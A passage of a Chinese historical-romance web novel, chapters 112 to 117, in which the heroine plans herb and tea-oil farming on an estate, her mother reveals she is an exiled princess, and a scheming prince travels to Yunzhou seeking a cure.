马车拐过一个弯,远处的庄子渐渐显露出轮廓。伍大年正在院子里查看账本,听到马蹄声连忙迎了出来,脸上带着几分欣喜:“林公子,你们可算回来了。” “伍叔。”林文昂跳下马车,拍了拍身上的尘土,“城里还有些东西,得麻烦你安排人去搬运。” 伍大年连连点头:“这事包在我身上。”他顿了顿,似乎有些犹豫,“林公子,还有件事想跟你商量。” “您说。” “前些日子,有三百多个退伍的兄弟想来庄子干活。”伍大年搓着手,语气有些忐忑,“都是些手脚不便的...” 林文昂眼睛一亮:“这不是正好吗?咱们庄子正缺人手呢!” “可是...”伍大年欲言又止,“他们都是些残疾人,干活恐怕...” “伍叔。”林文昂拍了拍他的肩膀,眼神坚定,“您就安排吧。咱们庄子地方大,不够住的话就盖新房子。” “对了”林文昂突然拍了下脑袋:“账上还有银子吗?不够的话,我再去想想办法。” 伍大年望着账本,眉头紧锁,眼中满是忧虑。 “公子,账上的银子是有,但那都是给您准备成亲用的。”他抬头看向林文昂,语气中带着几分迟疑,“这些银子若是动了,您的婚事...” 林文昂摆了摆手,打断了伍大年的话。他走到窗边,望着院子里那些疲惫但依然挺直腰板的身影,嘴角勾起一抹狡黠的笑容:“伍叔,您就别操心这个了。我成亲的事自有爹娘张罗,眼下最要紧的是安置这些兄弟。” “先把人安顿下来,一个个问清宁家眷情况,好规划建房。”林文昂的声音不大,却字字铿锵,“兄弟们这些年出生入死,我们就得让他们过上好日子。” 伍大年眼眶微红,张了张嘴却说不出话来。 “对了!”林文昂突然想到什么,“伍叔,咱们庄子上的山地能种药材吗?” “这个...”伍大年眼前一亮,“周家村不就在种吗?要不请林大夫来看看?” “妙啊!”林文昂一拍大腿,“明天就让我姐来看看。这样一来,兄弟们都有活干了。” 第一百一十二章 娘是公主 傍晚时分,卖卤料的人陆续回来。伍大年带着人马不停蹄地搬空了林文昂的院子。从米面粮油到锅碗瓢盆,从石桌石凳到金鱼缸,整整搬了大半天。 “小心点,这些可都是少爷的心爱之物。”伍大年一边指挥,一边仔细检查每件物品。 搬运的人们动作轻柔而迅速,汗水浸透了衣衫。夕阳西下,最后一批物品也被妥善安置。厨房的东西被送去了大食堂,其他物件堆在空地上。衣柜、床榻和布匹则被收进了库房。 库房里堆得满满当当,大部分是林芷柔从梨园县带来的布匹。她觉得与其放着发霉,不如给庄子上的人用。角落里还堆着些药材,散发出淡淡的药香。 夕阳西下,林文昂和楚九三往回走。暮色中,庄子里传来阵阵炊烟,远处的山峦笼罩在一片金红色的霞光中。 “你就不担心宁家小姐会嫌弃这里条件差?”楚九三还是忍不住问出了心中的疑虑。 “担心什么?”林文昂笑道,脚步轻快地踢着路边的小石子,“真心想过日子的人,不会在意这些。再说了,咱们庄子虽然简陋,但胜在实在。” 楚九三看着身边这个比自己小几岁的少年,心中突然涌起一股难以名状的感触。或许,自己一直以来的想法都错了。人与人之间,哪有什么天生的高低贵贱? 回到家里,林芷柔正在收拾东西。屋里点着油灯,昏黄的光线下,她的身影在墙上投下一个模糊的剪影。 “院子收拾得怎么样了?”见弟弟回来,她连忙问道。 “伍叔派人去帮忙了。”林文昂在桌边坐下,端起柳雅芝刚泡好的茶,“姐,明天你得跟我去趟庄子,看看山上适合种什么药材。” “这倒是个好主意。”林芷柔眼睛一亮,放下手中的活计,“正好我这段时间研究了几种药材的种植方法。山地的土质如果合适,倒是可以试试种植当归和黄芪。” “姐,你得去庄子上看看。”他坐在林芷柔对面,语气恳切,“那些山都能做什么用,得给这些将士们谋条活路。你最懂这些,得帮帮我。” 林山放下手中的茶杯,点头附和:“柔柔,你弟弟说得对。明天医馆就不开了,你去瞧瞧。那些山地虽然贫瘠,但种些药材应该不错。” “当年我东躲西藏的时候,也碰到过许多热心肠的人。”柳雅芝望着女儿说道,眼中充满了回忆,“若不是他们相助,我怕是早就...” 林芷柔敏锐地捕捉到关键词,放下手中的绣活:“娘,您为什么要东躲西藏?” 林山也愣住了,茶杯差点掉在地上:“不是说你们是逃荒来的吗?” 柳雅芝的脸色微微一变,下意识看了眼楼上。确定林文涛、林文柳和林巧巧听不见后,她压低声音道:“柔柔,娘不是逃荒,是躲避追杀。” “追杀?”林山惊呼出声,随即捂住嘴巴。堂屋里一时寂静无声,只有油灯发出细微的噼啪声。 柳雅芝的眉头微蹙,目光似乎穿越了时空,回到了那个血腥的夜晚:“我本是东吴国的公主,名叫柳芝韵。十岁那年,贵妃蓝澜玉联合她兄长和我二叔逼宫,害死了父王母后。” 她闭上眼睛,泪水无声滑落,声音哽咽:“那一夜,宫中血流成河。我躲在太后的衣柜里,亲眼看着他们...” 林芷柔握住母亲颤抖的手,感受到掌心传来的冰凉。 “我有个弟弟叫柳芝黄,比我小两岁。他被恩师救走后,再无音讯。我则被送到太傅府,后来拼命逃到天玄。”柳雅芝深吸一口气,努力平复情绪,“一路上,若不是遇到好心人相助,我早就死了。” 林山听得目瞪口呆,一个踉跄差点摔倒:“我...我娶了个公主?” 林文昂赶紧扶住父亲,震惊地看着母亲。堂屋里的气氛凝重得几乎要将人压垮。 柳雅芝苦笑着摇摇头:“只是个落魄的前公主罢了。柔柔,妈总是没勇气说出来,怕影响你的婚事。那些人虽然已经不在了,但他们的势力还在。” 林芷柔握紧母亲的手:“娘,如果楚星河因为这个退婚,女儿也不稀罕。” “那可不行。”楚星河的声音突然响起,带着几分调侃,“柔柔,你答应过我的事,不能说变就变。” 众人齐刷刷看向门口,楚星河正倚在门框上,嘴角含笑。 他轻轻落座在林芷柔身旁,嘴角勾起一抹温和的笑意。 “虽然来得晚了些,但该知道的我都清楚。”他的声音温和而沉稳,目光却带着几分凝重。 屋内的烛火摇曳,在墙上投下跳动的影子。林芷柔注意到母亲柳雅芝的手指正无意识地摩挲着茶杯边缘,那是她紧张时的习惯性动作。 楚星河转向柳雅芝,语气愈发沉重:“关于您提到的先皇后嫡子,恕我直言 - 东吴国现在的情况并不乐观。那位皇帝昏庸无道,整日沉迷享乐,朝政全由太后一手遮天。” 柳雅芝的手指顿了顿,杯中的茶水泛起细微的涟漪。 “太后心狠手辣,独断专行。朝中大臣为求自保,只知道阿谀奉承。百姓们的日子,一天不如一天。”楚星河继续道,“街头巷尾经常能听到民怨沸腾,可那些声音刚冒出头就被强行压下。” “贪官污吏横行霸道,鱼肉百姓。税赋年年加重,却填不满权贵们的腰包。”他顿了顿,“听说去年冬天,北境闹灾,太后不但不赈灾,反而加派税收。冻死饿死的百姓,无人过问。” 柳雅芝的手微微颤抖,茶水溅出几滴,洒在青花瓷杯托上。她抬起头,眼中一片黯然:“如今的东吴,早已不是我记忆中的模样。我这把老骨头,也帮不了什么。只盼着...能见弟弟最后一面。” 林芷柔看着母亲苍白的面容,心中一阵酸楚。 第一百一十三章 九天仙子 从天之骄女到乡野农妇,这样的身份转换,换作常人怕是早已崩溃。可母亲却始终保持着优雅从容,没有半分怨恨。即便是现在,她提起往事时的语气依然平静,仿佛在说一个与己无关的故事。 “娘,您别担心。”林芷柔轻声安慰,握住母亲微凉的手,“我和星河一定会想办法打听舅舅的消息。” “好孩子...”柳雅芝欣慰地笑了,眼角的皱纹舒展开来,“若有机会,娘想带你们回去,给你外祖父母上柱香。告诉他们,娘过得很好。” 一旁的林文昂听得有些发懵,手中的茶杯差点掉在地上。娘是东吴公主?那他岂不是...算了算了,还是留在天玄当个简单的小民更自在。这些勾心斗角的事,还是离远点好。 林山的脸色却变得煞白,额头上渗出细密的汗珠。若是媳妇真是公主,回了东吴还会记得他这个泥腿子吗? 楚星河见时候不早,便将林芷柔带到郡守府。 刚关上门,他就将她紧紧搂在怀里。淡淡的檀香从他的衣襟间飘散出来,混合着独属于他的气息。 “可别说什么回东吴的话,”他声音低沉,带着几分压抑的情绪,“没有你,我活着还有什么意义?” 林芷柔推开他,月光下的脸庞带着几分严肃:“别这么多愁善感的,我有正事要说。” 她走到窗边,望着远处若隐若现的灯火:“你在东吴有暗线吗?” “有。”楚星河毫不犹豫地回答,“我今晚就派人去查舅舅的下落。” 林芷柔在房间里来回踱步,裙摆在地上划出一道道弧线:“我总觉得,如果舅舅还活着,他一定不会甘心坐视东吴沦落至此。” “你的意思是...”楚星河若有所思地看着她。 “让你的人多留意那些反抗势力,”林芷柔停下脚步,转身面对他,“说不定能从中找到舅舅的踪迹。据我所知,东吴境内时有反抗太后的势力出现,虽然很快就被镇压,但始终没有彻底消失。” 楚星河走到她身边,月光在他深邃的眸子里投下两点亮光:“如果真找到了呢?你想帮舅舅夺回属于他的江山?” “有何不可?”林芷柔眼中锋芒闪过,“那本就是属于他的东西。而且...也算是给我娘一个交代。这些年,她虽然从未提起,但我知道她心里一直惦记着东吴的事。” 楚星河握住她的手,掌心传来令人安心的温度:“不管你做什么决定,我都会支持你。不过眼下还是要多加小心,城里有人在暗中盯梢。” “我知道,”林芷柔微微点头,“金泰钱庄的人应该已经察觉到银锭被掉包的事了。这两天街上多了不少陌生面孔,想必是在找我们的踪迹。” “是啊,”楚星河叹了口气,“要是能找到楚王的银矿,就能彻底断了他的财路。不过现在最重要的还是先稳住局势,别让他们发现你娘的身份。” “先不急这个。眼下最重要的,是找到舅舅的下落。”她的声音坚定而清晰,“只要找到他,其他的事就好办了。” 楚星河看着她的侧脸,心中涌起一阵疼惜。他知道,从今天起,她肩上的担子又重了几分。可他又何尝不是如此?为了守护她,他愿意背负任何重担。 楚星河俯身轻轻吻住她的唇。他的吻如羽毛般轻柔,带着缱绻温柔,仿佛在安抚一只受惊的小兽。 “楚星河,你轻点...”林芷柔娇嗔道,声音里带着几分慵懒。她的手指无意识地抓着他的衣襟,指节微微泛白。 远处传来几声零星的更鼓声。林芷柔靠在他的胸膛上,听着他有力的心跳声,心中泛起一丝涟漪。 “柔柔,”楚星河忽然开口,声音里带着几分不安,“你不会突然离开我吧?若你要回九重天,能不能带我一起?” 这句话让林芷柔心头一颤。她抬起头,看着他眼中的担忧,心中既甜蜜又酸涩。“我回不去了,”她轻声道,“在天界已经死了,被贬下凡间受苦。” 这番胡诌之词倒让楚星河松了口气。他将她搂得更紧,下巴轻轻蹭着她的发顶:“那正好,以后我会好好疼你,绝不让你受半点委屈。” 困意渐渐袭来,林芷柔打了个小小的哈欠,眼角泛起一丝湿润:“楚星河,我困了,带我回去。” “好。”他将她打横抱起,身形一闪,朝林家掠去。夜风拂过,带起她的发丝轻轻飘扬。 “柔柔,”他的声音在风中显得格外温柔,“我喜欢你这样叫我的名字,从小到大,还没人这么亲昵地喊过我。” “那以后我就只喊你楚星河。”她慵懒地靠在他怀里,嘴角勾起一抹浅笑。 楚色中,他低头看着怀中如天仙般的女子,心中满是欢喜。月光为她镀上一层银辉,更添几分缥缈出尘的气质。 没想到她竟然真是九重天的仙子,难怪有那么多神奇的本事。能娶到她,是他这辈子最大的幸运。楚星河的眼中闪过一丝温柔的笑意,却又隐隐带着几分担忧。 回到仁心医馆,林山和柳雅芝看到女婿抱着女儿从天而降,都惊得说不出话来。 “这孩子,”柳雅芝轻声叹道,眼中满是慈爱,“又累着了。” 林山看着女儿安睡的面容,有些心疼地道:“让她好好休息吧。” 此时的楚王府中,灯火通明。司马川正在与谋士商议对策,案几上的茶水早已凉透。 “这位林大夫,究竟是何方神圣?”他冷声问道。 一名身着青衫的谋士上前一步,拱手道:“据探子回报,此人医术高明,且似有通天之能。若真有传言中的本事,不如招揽为己用。” “若不能为我所用,”另一名谋士眼中寒光一闪,“只能痛快地解决掉。” 司马川摩挲着手上的墨玉扳指,眸中若有所思。烛光映照下,他的面容显得格外冷峻。 第一百一十四章 神医的名声 “本王决定亲自去一趟云州,”他缓缓开口,声音里带着几分冰冷,“带上良娣贾秦华。” 谋士们纷纷附和,说这是个绝妙的主意。烛火摇曳,在墙上投下诡异的影子。 司马川嘴角勾起一抹冷笑。他要亲自去看看这位神医,顺便查清银锭被掉包之事。府中的灯火将他的影子拉得很长,仿佛一条阴森的毒蛇。 贾秦华站在屏风后,听着殿中的议论,心底一片黯然。她知道自己不过是楚王手中的一枚棋子,可她又能如何? 司马川暗自盘算着,若那位神医真有传言中的本事,不惜一切也要将人拉拢到自己这边。 毕竟,太子手中已经有了连珠弓图谱,若再让他得到这样一位神医,那就更难对付了。烛光下,他的眼神愈发阴冷。 府中的下人们低着头匆匆走过,没人敢多看一眼。他们都知道,当楚王露出这样的表情时,必定有人要倒霉了。 司马川站在窗前,望着远处的月色,眼中满是狠厉。他是父皇心头最爱的儿子,那个位置,他志在必得。 贾秦华悄悄退出大殿,月光下,她的身影显得格外单薄。她知道,自己即将成为楚王手中的一把刀,而那把刀的锋芒,直指向楚星河。 仁心医馆中,林芷柔在楚星河的怀抱中沉沉睡去。她不知道,一场风暴正在悄然酝酿。 楚星河守在林芷柔床前,忽然打了个喷嚏。 睡梦中的林芷柔被惊醒,纤细的手指下意识搭上他的脉搏。她的动作轻柔而专注,仿佛这是一个再平常不过的习惯。 “脉象平稳,没有风寒。”她闭着眼睛,声音带着几分慵懒,“不过你最近太累了,气血有些亏虚。” 楚星河望着她略显苍白的小脸,心中一阵怜惜。自从开了医馆,她每天都忙得脚不沾地。“有你的仙露泉滋养,我怎会生病。倒是你,该好好休息。” “我没事。”林芷柔翻了个身,将自己裹进被子里,“你要出去?” “嗯,心中突然不安,得出去一趟。”楚星河眉头微皱,指尖轻轻拂过她的发丝。 “去吧。”林芷柔打了个哈欠,“记得关门。” 楚星河俯身在她额头落下轻吻,为她掖好被角。他的动作极轻,生怕惊扰了她难得的休息。待她呼吸渐渐平稳,他才吹熄烛火,悄然离去。 夜色如墨,他的心却比夜色更沉。那种被人盯住的感觉越发强烈,仿佛有无形的目光穿透黑暗,紧紧锁定着这片区域。帝都怕是有消息传来了。 后院的梧桐树下,一只信鸽正停在楚云手上。飞鸽传书刚到不久,纸条上只有简单一句:【神医名声传开,当心。】 楚星河眸光一冷,将纸条烧成灰烬。他快速写下回信,让楚云放飞信鸽。夜风吹散了纸灰,但吹不散他心中的忧虑。 “主子,为何要给东吴发消息?”楚云有些不解,“他不是一直...” “闭嘴。”楚星河打断他的话,“加强城内巡查,帝都那边怕是要派人来了。柔柔的医术已经瞒不住。” “谁这么多事?”楚云气愤地跺了跺脚,“我们好不容易安稳下来。” 楚雨却叹了口气:“林大夫医术通神,早晚会传到帝都。这段时间,城里来的病人越来越多,有些面生的我都记不清了。主子,要不要给林大夫安排些人手?” “不必。”楚星河摇头,目光望向林芷柔的房间,“她自有本事,我们只要确保她不被带走就行。这是我们的地盘,还能让人在眼皮底下动手不成?” 楚云和楚雨对视一眼,默默退下。他们都知道,风雨欲来。 次日清晨,仁心医馆门前挂起了歇业的牌子。不少病人失望而归,有人还在门口徘徊不去。 “听说林大夫要去庄子上安排种植药材。”一个老妇人叹气道。 “可不是嘛,这事关重大。”旁边的小贩接话,“听说要种好些名贵药材,以后咱们看病就不愁药材短缺了。” 马车缓缓驶向庄子,车厢里,林芷柔正在翻看药材清单。她的手指在纸上轻轻划过,眉头时而舒展,时而紧蹙。 伍大年早已在门口等候,远远看见马车就迎了上来。“林大夫辛苦了。新来的人手都已到齐,正在登记造册。” “这么快?”林文昂有些惊讶地跳下马车。 “都是些在外头混不下去的,听说这里收人就赶紧来了。”伍大年苦笑着摇头,“有的是逃荒来的,有的是被地主赶出来的,还有些是...唉,都是可怜人。” 林芷柔从马车上下来,环视四周。清晨的阳光洒在山坡上,露珠在草叶间闪烁。她的眼中闪过赞许:“地方不错,适合发展。人多不是坏事,可以将这里打造成完整的产业链。” “产业链是什么?”林文昂一脸茫然地挠头。 “就是自给自足的循环。”林芷柔耐心解释,手指在空中画着圈,“比如你们的卤味作坊需要猪肉,可以自己养猪。猪粪可以肥田,种出的粮食又可以喂猪,这就是一个循环。” 伍大年眼前一亮:“林大夫说得对,这样庄子上再多的人都能用得上。现在有些人还在发愁没活干呢。” “酿酒、榨糖都可以这样做。”林芷柔继续道,“每个环节都能安排人手。走吧,带我去看看山地,看哪里适合种什么。” 一行人沿着山路向上,林芷柔不时停下脚步,观察地形和植被。她的目光专注,仿佛在脑中勾勒着未来的蓝图。 来到一处缓坡,林芷柔蹲下捻了捻土壤:“这里的土质适合种甘蔗,可以开垦。山脚下可以建猪圈,人畜分开住,避免疾病传染。” “这边的水源充足。”伍大年指着不远处的小溪,“可以引水灌溉。” 林芷柔点头:“很好,水源是关键。这条溪流上游可以种些净水的植物,保证水质。溪边可以种些药材,喜阴的放在北面,喜阳的放在南面。” 第一百一十五章 荒山变宝山 她站起身,拍了拍裙摆上的尘土:“先把地基打好,其他的慢慢来。对了,让人准备些竹子,我要建个简易的温室。” “温室?”伍大年和林文昂异口同声。 “就是个保暖的棚子。”林芷柔笑道,“有些药材娇贵,需要特殊照料。等建好了,我教你们怎么管理。” 林文昂还没来得及回答,伍大年已经抢先答应下来。他激动得连连点头,眼中闪烁着希望的光芒,粗糙的手掌不自觉地握紧又松开。 “种甘蔗其实挺简单的。。”伍大年说着,脸上露出了笑容,眼角的皱纹都舒展开来,“我年轻时在南方待过几年,那边的甘蔗地一眼望不到头。只要土地合适,水分充足,甘蔗就能长得很好。” 三人沿着蜿蜒的小路,翻过一个又一个小山包。山风吹得林芷柔的衣袖猎猎作响。她不时停下脚步,仔细观察路边的植被。 终于,他们抵达了一处更高的山脚。。林芷柔仰头望去,目光在山坡上游移,突然眼前一亮。她的表情变得专注起来,眉头微微蹙起,似乎在确认什么。 “姐,你瞧见了什么??”林文昂见姐姐神色有异,连忙问道。他顺着姐姐的目光看去,却只看到一片郁郁葱葱的树木。 “茶籽树!”林芷柔一声惊呼,快步朝山上走去。她的脚步轻快而坚定,仿佛发现了什么珍宝。 山路崎岖,林文昂一边小心翼翼地跟上,一边回头看向伍大年:“伍叔,你见过茶籽树吗??” 伍大年摇摇头,目光追随着林芷柔的身影。虽然对茶籽树的了解不多。,但他相信林大夫的眼光。这位年轻的大夫虽然来庄子不久,却已经用实际行动证明了自己的能力。 山坡上,林芷柔停在一棵矮小的树前。这树不算高大,枝叶却十分茂密。她伸出手,手指轻轻抚过墨绿色的叶片,眼中流露出怀念的神色。 “这就是茶籽树?”林文昂好奇地打量着眼前的树木,伸手摸了摸粗糙的树皮,“它能做什么用?看起来很普通啊。” “榨油。”林芷柔轻声说道,语气中带着一丝笃定。 这两个字如同惊雷般在伍大年耳边炸响,他一个踉跄,差点摔倒。在这个物资匮乏的年代,油可是稀罕物。每次去集市,一小壶油都要花费不少钱。 “真的能榨油?”伍大年声音都在发颤,布满老茧的手不自觉地颤抖起来。 林芷柔蹲下身,从地上捡起一颗圆滚滚的茶果。她的动作轻柔而熟练,仿佛做过千百次一般。只见她轻轻剥开外壳,露出里面的籽:“看到里面的籽了吗?晒干后就能榨油,这油叫香油,特别香。” 她的声音轻柔,却让伍大年心中掀起惊涛骇浪。他死死盯着林芷柔手中的茶籽,仿佛看到了庄子未来的希望。 “不仅如此,”林芷柔继续说道,目光扫过山坡,“茶籽树下的空地还能养鸡养鸭,正好给卤料作坊提供原料。这样一来,就能形成一个小型的产业链。” 伍大年眼中泪光莹莹,他深深吸了一口气,努力平复激动的心情。这山,原来不是荒山,而是一座宝山。多少年了,他们一直以为这些山就是用来放牧的,谁能想到还藏着这样的宝贝? “还有芝麻,”林芷柔转身看向两人,指着山坡上的一块平地,“这里的土质适合种芝麻。芝麻油比香油更香,更贵重。大户人家最喜欢这些,只要东西好,再贵都舍得买。” 林文昂兴奋地拍手:“姐,你太厉害了!这样我们庄子就有活路了。”他的眼睛亮晶晶的,脸上洋溢着青春的朝气。 “伍叔,”林芷柔看向伍大年,语气变得严肃起来,“赶紧安排人来收集地上的种子,开荒种植。这茶籽树种一次,就能收获百年。现在正是播种的好时节,不能错过。” 伍大年深深鞠了一躬,声音有些哽咽:“多谢林大夫指点。要不是你,我们还蒙在鼓里,白白浪费了这么好的资源。” “不必客气,”林芷柔微微一笑,“帮助大家,就是帮助自己。这庄子能安稳下来,才是最重要的。” 她抬头望向远处连绵的山峦,这片山林,将会成为庄子新的希望。她的目光掠过山间的每一寸土地,仿佛已经看到了茶籽树成林、芝麻飘香的景象。 林文昂站在姐姐身边,轻声说道:“姐,我一定会把庄子管理好的。”他的声音坚定,眼神中透着坚毅。 “我相信你。”林芷柔拍了拍弟弟的肩膀,“记住,以人为本,照顾好每一个人。庄子里的每个人都是我们的家人。” 伍大年看着这对姐弟,心中涌起一股暖流。在这个乱世,能遇到这样重视人命的大夫,是他们的福气。他暗暗发誓,一定要把林大夫的每一个建议都落实到位。 微风吹过,带来泥土的芬芳。三人继续在山间穿行,林芷柔不时停下脚步,为他们讲解各种植物的用途。 伍大年认真地记下每一个细节,脑海中已经开始规划如何分配人手。有些树木需要移栽到更适合的位置,有些地方需要开垦出来种植芝麻,还要准备工具来收集茶籽...... 夕阳西下时,三人才下山返回。伍大年的衣服已经被汗水浸透,但他的精神却格外亢奋。这一天,注定会在他心中留下深深的印记。 在回去的路上,他们又经过了之前说要种甘蔗的地方。伍大年停下脚步,仔细打量着这片土地。现在他知道了,这里不仅可以种甘蔗,还可以规划出更多可能。 林芷柔似乎看出了他的心思,轻声说道:“伍叔,一步一步来。先把手头的事情做好,其他的慢慢来。” 伍大年点点头,眼中溢满感激。 伍大年早就看出来了,林大夫才是暗中为庄子出谋划策的那位。这个发现让他心里五味杂陈,既有恍然大悟的释然,又有被蒙在鼓里的懊恼。 第一百一十六章 楚王的隐疾 找到出路后,林芷柔、林文昂和伍大年三人回到了庄子。夕阳西下,金色的余晖洒在土路上,拉长了三人的影子。林芷柔走在最前面,裙摆被风吹得轻轻摆动,她的步伐轻快而坚定。 林文昂将姐姐送回家后,仁心医馆便继续营业。街道上行人如织,医馆门前排起了长队,大家都在议论这位年轻的神医的医术。 “听说连楚王都要来找她看病呢。” “可不是嘛,连楚世子的病都治好了。” “这么年轻就有这般本事,真是了不起。” 议论声此起彼伏,在街巷间回荡。而此时,一辆华贵的马车正缓缓驶向云州。 楚王说要来云州,便真的来了,还带着贾秦华一同前来。马车内铺着柔软的锦缎,四周挂着轻纱帷幔,随着马车的晃动轻轻飘动。 贾秦华倚在车窗边,纤纤玉指拨开帘子一角,望着窗外掠过的景色。她的眼中闪烁着期待的光芒,嘴角不自觉地扬起一抹笑意。自从那天被一顶小轿从侧门抬入楚王府,封了个不起眼的良娣,她就再没这般开心过。 回想起进府的种种,贾秦华不禁暗自叹息。楚王府里连个侧妃都没有,就她和楚王妃,外加几个无关紧要的侍妾。那些日子里,每个女人都在明争暗斗,为的就是多得几分宠爱。 她还记得刚入府时的甜蜜时光,楚王对她百般宠爱,整整一个多月,她仿佛活在梦里。可好景不长,渐渐地,他来她房里的次数越来越少,那些关于封侧妃的承诺也成了泡影。 贾秦华抿了抿唇,她知道自己别无选择,既然已经走到这一步,也只能咬牙坚持下去。 “秦华。”司马川慵懒的声音突然响起。 贾秦华收回思绪,转身看向躺在软榻上的男人。他面容俊美,眉宇间带着与生俱来的贵气,可那双眼睛却总是让人捉摸不透。 “王爷。”她柔声应道,目光转向司马川:“您渴了吗?让我给您倒杯茶。” 司马川注视着她的动作,眼底含着嘲讽。这个女人,在他面前永远都是这般温顺可人的模样,可背地里却也没少算计。他与贾秦华之间的这场游戏,本该是他掌控全局,没想到最后竟成了楚星河的一颗棋子。 “你很期待见到楚星河?”司马川淡淡开口,语气中带着几分试探。 贾秦华手上的动作顿了顿,茶水差点洒出来。她稳了稳心神,将茶盏递到司马川手边:“王爷说笑了,妾身对他早已没有任何想法。” “是吗?”司马川接过茶盏,目光灼灼地盯着她,“那你可知道,当初他退亲是在演戏?” “什么?”贾秦华脸色骤变。 司马川冷笑一声:“他根本没有什么隐疾,不过是为了甩开你,好娶那个所谓的神医罢了。我们都被他给骗了。” 贾秦华握着茶壶的手微微发抖,茶水溅在衣裙上也浑然不觉。她的脑海中闪过无数个夜晚,那些她以为楚星河是真心对她,却又不得不成全她的时刻。原来,这一切都是一场精心设计的骗局。 “王爷,”她强压下心中的波澜,声音依旧柔婉,“过去的事就让它过去吧。现在妾身的心里只有王爷一人。” 司马川闭上眼睛,不置可否。他何尝不知道这些话都是场面话,可此时此刻,他需要贾秦华的帮助。 “本王这次来云州,是为了求医。”他缓缓开口,语气中带着几分无奈,“希望你能帮本王一个忙。” 贾秦华诧异地问道:“王爷身体不适?” “这是本王的隐秘心事。”司马川转过头,不愿多说。 自十五岁起,他就被一种怪病所困。腹部时不时会传来剧烈的疼痛,偶尔一年发作两三回,有时一年都相安无事。太医院的太医们看不出病因,开的药也都收效甚微。 父皇为他请了无数名医,可这病就像是跟他杠上了似的,始终不见好转。每次发作,那种撕心裂肺的疼痛都让他恨不得把自己的肚子剖开。 若那位神医真有传言中的本事,或许能治好他的病。若是如此,他一定要想办法将她留在身边。可若是治不好,那这个所谓的神医,不过是徒有虚名罢了。 贾秦华听到难言之隐四个字,心里咯噔一下。她这才惊觉,自己对楚王知之甚少,连他身上有隐疾都不清楚。当初一时冲动嫁给他,若他真有难言之隐,岂不是亏大了? 她偷偷打量着司马川的侧脸,心中疑虑重重。楚星河的隐疾是假的,可楚王的隐疾却是真的,而且看样子还很棘手。否则为何要遮遮掩掩,不肯说明? 可她入府这么久,从未见他发过病。究竟是什么样的隐痛?为何不肯说? 马车继续向前行驶,车轮碾过石子路发出咯噔咯噔的声响。贾秦华望着车窗外飞速掠过的景色,心中五味杂陈。 这一路上,她满心想着如何讨好楚王,如何在路上投其所好。可现在,她却不知该如何是好。若楚王真有隐疾,那她的处境岂不是更加危险? 可转念一想,若能帮楚王治好病,或许能借此机会上位。想到这里,她的眼中又燃起了希望的光芒。 “王爷放心,”她柔声说道,“妾身一定会尽力帮您。” 司马川没有回应,只是闭着眼睛养神。马车内陷入一片沉默,只有帘子被风吹动的沙沙声。 远处,云州的轮廓渐渐清晰。城墙高耸,城门两侧的旗帜在风中猎猎作响。马车缓缓驶近,车轮碾过石板路发出清脆的声响。 贾秦华的心跳不自觉地加快了。她知道,等待她的将是一场复杂的较量。不仅要面对楚星河,还要帮助楚王求医,更要在这个过程中为自己谋得利益。 她深吸一口气,暗暗握紧了拳头。不管前方有什么等着她,她都要坚持下去。这是她唯一的机会,也是她必须把握住的机会。 第一百一十七章 冲你来的 楚星河手中的纸条在火光中化为灰烬,两个字在他心头萦绕:“楚王?” 他站在窗前,目光穿透黑暗望向远方。这位皇帝最宠爱的长子,为何突然造访云云州? 他下意识攥紧了拳头,脑海中浮现出林芷柔的身影。这位神医的名声,恐怕已经传到了帝都。 “主子。”楚云和楚雨的声音同时响起,打断了他的思绪。 楚星河缓缓转身,烛光在他俊美的面容上投下阴影。他抬眼看向两名心腹,昏暗的光线下,他们眼中同样闪烁着担忧。 “楚王此人心机深沉,林大夫单纯善良,怕是会吃亏。”楚雨压低声音道,眉头紧锁。 楚云也急切地说:“要不要属下去暗中保护林大夫?”他的手已经按在了腰间的佩剑上。 “不。”楚星河摆了摆手,走到书案前坐下,“楚雨,你去查清楚王此行的真实目的。,但不要打草惊蛇。” “是!”楚雨领命而去,脚步轻盈得几乎听不见声响。 “楚云,你就留在我身边。”楚星河眸光微冷,手指轻叩桌面,“楚王此来,。他多半带着贾秦华来了。” 楚云张了张嘴,最终选择沉默。烛光下,他看到主子眼中的嘲讽。 “想用贾秦华来挑拨我和柔柔的关系?”楚星河冷笑一声,指节泛白,“他未免太小看柔柔了。” 话音未落,门外传来一阵轻盈的脚步声,伴随着淡淡的药香。 林芷柔推门而入,身上还带着药房特有的草药气息。她眉眼间带着几分慵懒:“听说楚王来了?还带着你的前未婚妻?” 楚星河心头一紧,下意识想解释。 “我在想,”林芷柔却自顾自地说道,一边走到书案前坐下,“他是为了银锭的事来的吗?”她随手拿起桌上的茶杯,轻轻嗅了嗅。 楚星河松了口气,他家柔柔果然与众不同。这种时候还能想到正事。 “不,他说是来求医。”楚星河走到林芷柔身边,替她将茶水倒满,“但我怀疑,他是冲着你来的。” “冲着我?”林芷柔挑眉,茶香在唇齿间氤氲。 “威震大将军重返军中的消息已经传遍朝野。”楚星河眸光深邃,“楚王此人野心勃勃,身边若有神医相助,无异于如虎添翼。” 林芷柔轻笑一声,将茶杯放下:“所以他是想收服我?” “不止。”楚星河将她拉入怀中,感受着她身上淡淡的药香,“他或许还想借贾秦华一事,挑拨我们的关系。” “然后让我做他的侧妃?”林芷柔挑眉,语气中带着几分讽刺,“他倒是打得一手好算盘。” 楚星河将她搂得更紧,下巴抵在她的发顶:“柔柔,你太耀眼了。见过你的人,都想将你占为己有。” “傻瓜。”林芷柔踮起脚尖,在他下巴上轻啄一口,“我的手段,只会在你面前展现。” 楚星河眉头微蹙,手指轻轻抚过她的脸颊:“楚王一定猜到我们退亲是一场戏。若他问起我的病情......” “你想太多了。”林芷柔打断他,狡黠一笑,“楚王真会为这种小事来云州?他的金泰钱庄出了问题不管,反而来查这些?” “也许吧。”楚星河将她抱到腿上,感受着她的体温,“不过有意思的是,比起楚王,那位玄冥六王子秦面罗刹似乎更着急。” “秦面罗刹?”林芷柔来了兴趣,身子微微前倾,“他去查什么了?” “我的人发现他去过城外的庄子,还去过金泰钱庄。”楚星河的手指在她的后背轻轻画着圈,“而且,他似乎对我们很感兴趣。” 林芷柔若有所思:“楚王、秦面罗刹、金泰钱庄、银锭、城外庄子......” 她每说一个词,眉头就皱深一分。烛光下,她的侧脸显得格外认真。 “楚星河,你说这些会不会有什么联系?”她突然转头看向他。 “或许吧。”楚星河轻声道,“玄冥六王子和天玄长子,为何会同时出现在云州?这背后,一定有我们还不知道的事情。” 两人相视一眼,都从对方眼中看到了凝重。 “柔柔,”楚星河突然开口,“明日楚王若是来找你,你要小心。” 林芷柔靠在他怀里,闻言轻笑:“放心吧,我又不是第一次和这些权贵打交道。再说了,”她抬头看向楚星河,“我可是有你在身边。” 